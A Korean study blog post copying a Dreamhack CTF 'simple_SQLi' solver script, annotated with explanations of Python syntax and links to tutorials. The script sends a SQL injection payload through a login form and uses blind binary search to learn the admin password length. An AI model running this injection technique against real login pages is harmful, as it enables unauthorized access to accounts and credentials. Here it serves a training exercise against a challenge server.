공격코드 출처
https://learn.dreamhack.io/175#5
로그인 | Dreamhack
dreamhack.io
공격코드
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
"""__init__ ← 클래스 기본값 설정하기."""
"""port: str ←매개변수의 형식이 str이라는 것을 나타냄."""
"""-> None ←함수가 None형식을 반환함."""
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> bool:
"""bool타입 반환 ←문자열 길이의 참, 거짓 여부 판단"""
login_data = {
"userid": userid,
"userpassword": userpassword
}
"""딕셔너리 형식으로 정리"""
resp = requests.post(self._login_url, data=login_data)
"""requests.post(URL,data=data) ←POST형식으로 웹페이지 요청"""
"""GET형식으로 웹페이지 요청할때는 requests.get(URL,param=param)"""
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
"""requests.Response ←정확한 답은 찾지 못했지만 응답 결과에 대한 정보를 반환한다."""
resp = self._login(f"\" or {query}-- ", "hi")
"""f-string 문자열 포매팅. 아래 참조된 링크를 통해 공부하자."""
"""_login 메소드로 값이 넘어갈 때 userid = " or {query}--, userpassword = hi가 들어감."""
"""userpassword는 userid에 있는 --로 인해 아무 의미 없는 값이 됌."""
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
"""_sqli_It_binsearch ←천천히 코드를 읽어보면 이해할 수 있다. 스스로 해보자"""
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
"""format함수 ←문자열 포매팅. 아래 참조된 링크를 통해 공부하자."""
if "hello" in self._sqli(query).text:
""" in 연산자 ←앞의 값이 있는지 확인. 있다면 TRUE를 반환. 없다면 FALSE를 반환."""
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
""" \"{user}\" ←"를 사용하기위해 \를 사용"""
"""SQL언어 ←LENGHT함수를 통해 문자열 길이를 출력."""
"""{{val}} ←_sqli_lt_binsearch()메소드 내의 format함수를 통해 값이 들어감."""
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def solve(self):
pw_len = solver._find_password_length("admin")
print(f"Length of admin password is: {pw_len}")
if __name__ == "__main__":
port = sys.argv[1]
"""sys.argv[1] ←명령 인자의 첫번째 값, sys.argv[0]은 프로그램명임."""
solver = Solver(port)
"""Solver 클래스에 명령 인자의 첫번째 값(port값) 전달."""
solver.solve()
참조했던 사이트
https://okdolmin.tistory.com/26
파이썬3 함수에서의 화살표
파이썬3에서 화살표 함수를 사용하는 것을 볼 수 있다. 알고리즘 문제를 풀어보려고 보던 도중 이해가 잘 안되어 찾아보게 되었다. def funName(x: str, y: float = 6.5) -> int: return x + y value = funName(3) print(
okdolmin.tistory.com
파이썬(Python): 클래스(class) 안 def __init__(self): 와 self 등을 제대로 이해하기
"def __init__(self):" 파이썬python을 약간이라도 다루기 시작한 사람이라면 이내 마주치는 구문이다. 개인적으로는 def __init__(self) 구문은 파이썬에서만 사용하는 함수로 안다. 다른 언어에서 본 적이
writingstudio.tistory.com
https://dgkim5360.tistory.com/entry/python-requests
Python requests 모듈 간단 정리
Python에서 HTTP 요청을 보내는 모듈인 requests를 간단하게 정리하고자 한다. 0. 기본적인 사용 방법 import requests URL = 'http://www.tistory.com' response = requests.get(URL) response.status_code response.text 웹브라우져에
dgkim5360.tistory.com
https://needneo.tistory.com/95
[Python] 파이썬 명령 인자값 받는 방법 (sys.argv)
파이썬으로 작성된 파일을 실행할 때 인수(argument, 인자값)를 받아서 처리를 해야 되는 경우가 있다. 예를 들어, 로컬과 개발 등의 환경이 서로 달라서 인자값을 줘야 한다던지 같은 파일을 다른
needneo.tistory.com
https://blockdmask.tistory.com/424
[python] 파이썬 format 함수 (문자열 포매팅 방법 1)
안녕하세요. BlockDMask 입니다. 파이썬에서 문자열 포매팅 방법은 %와 서식기호를 이용한 방법, format 함수를 이용한 방법, f-string을 이용한 방법 이렇게 세가지가 있다고 볼 수 있습니다. 오늘은 파
blockdmask.tistory.com
https://www.daleseo.com/python-f-strings/
파이썬의 f-string 사용법
Engineering Blog by Dale Seo
www.daleseo.com
https://blockdmask.tistory.com/547
[python] 파이썬 in, not in 포함 확인 연산
안녕하세요. BlockDMask입니다. 오늘은 파이썬에서 포함, 불포함을 확인할 수 있는 in, not in 연산에 대해서 알아보려고 합니다. 다양한 곳에서 사용할 수 있는데요. 예제를 최대한 많이 들어보겠습
blockdmask.tistory.com
'프로그래밍 > 파이썬' 카테고리의 다른 글
Numpy 라이브러리(모듈) (0) | 2023.12.31 |
---|---|
파이썬 기본 명령어2 (0) | 2023.12.31 |
파이썬 기본 명령어1 (0) | 2021.11.22 |